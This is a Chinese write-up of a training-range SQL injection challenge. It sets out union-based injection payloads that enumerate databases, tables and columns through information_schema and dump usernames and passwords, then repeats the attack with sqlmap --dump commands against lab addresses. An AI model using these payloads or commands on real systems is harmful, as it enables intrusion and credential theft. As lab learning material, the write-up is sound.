墨者:SQL过滤字符后手工注入漏洞测试(第3题)

发布于:2025-07-30 ⋅ 阅读:(21) ⋅ 点赞:(0)

1. 墨者学院:SQL过滤字符后手工注入漏洞测试(第3题)🚀

因为练习过太多的sql注入,废话不多介绍,我会通过围绕手动注入和工具爆破的方式达到靶场目标,开练!!!

2. 手工注入方式🎯

测试从"http://124.70.71.251:43066/new_list.php?"开始,以自己的靶场地址为准。

2.1 确定字段数⚡

常见注入点:id=1 and 1=2,id=1'id=1"等等,本次靶场是单引号闭合。

id=1' order by 8--+

':单引号用于闭合SQL语句中的字符串
order by:用于确定查询结果集的列数 ,字段max=7
--+:注释掉后续SQL语句,避免语法错误

[截图位置]

2.2 确认显示位⚡

id=-1' union select 1,2,3,4,5,6,7--+

union select:联合查询,用于显示可回显的字段位置
-1:确保原查询不返回结果,只显示union select的结果

[截图位置]

2.3 获取基本信息⚡

id=-1' union select 1,database(),version(),user(),5,6,7--+

database():获取当前数据库名称
version():获取数据库版本信息
user():获取当前数据库用户

[截图位置]

2.4 获取表名⚡

id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+

information_schema.tables:系统表,存储所有表信息
group_concat():将多行结果合并为一行
table_schema:指定数据库名称

[截图位置]

2.5 获取列名⚡

id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+

information_schema.columns:系统表,存储所有列信息
table_name:指定要查询的表名

[截图位置]

2.6 获取数据⚡

id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+

username,password:目标表的敏感字段
反引号`:用于包裹特殊表名

[截图位置]

3. sqlmap工具测试🎯

3.1 获取所有数据库⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch

--dbs:枚举所有数据库
--batch:自动选择默认选项

[截图位置]

3.2 获取指定数据库的表⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch

-D:指定数据库
--tables:枚举指定数据库的所有表

[截图位置]

3.3 获取表的列⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch

-T:指定表名
--columns:枚举指定表的所有列

[截图位置]

3.4 导出数据⚡

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch

-C:指定要导出的列
--dump:导出指定表的数据

[截图位置]

3.5 清理缓存⚡

python sqlmap.py --purge

--purge:清除sqlmap缓存文件
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:

python sqlmap.py -h

4. 总结🏁

本次测试通过手工注入和sqlmap工具两种方式完成了SQL注入漏洞测试:

  1. 手工注入需要逐步构造payload,理解SQL语法
  2. sqlmap自动化程度高,但需要正确使用参数
  3. 目标网站存在明显的SQL注入漏洞,建议修复
  4. 特殊字符过滤不彻底,导致注入成功

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗


网站公告

今日签到

点亮在社区的每一天
去签到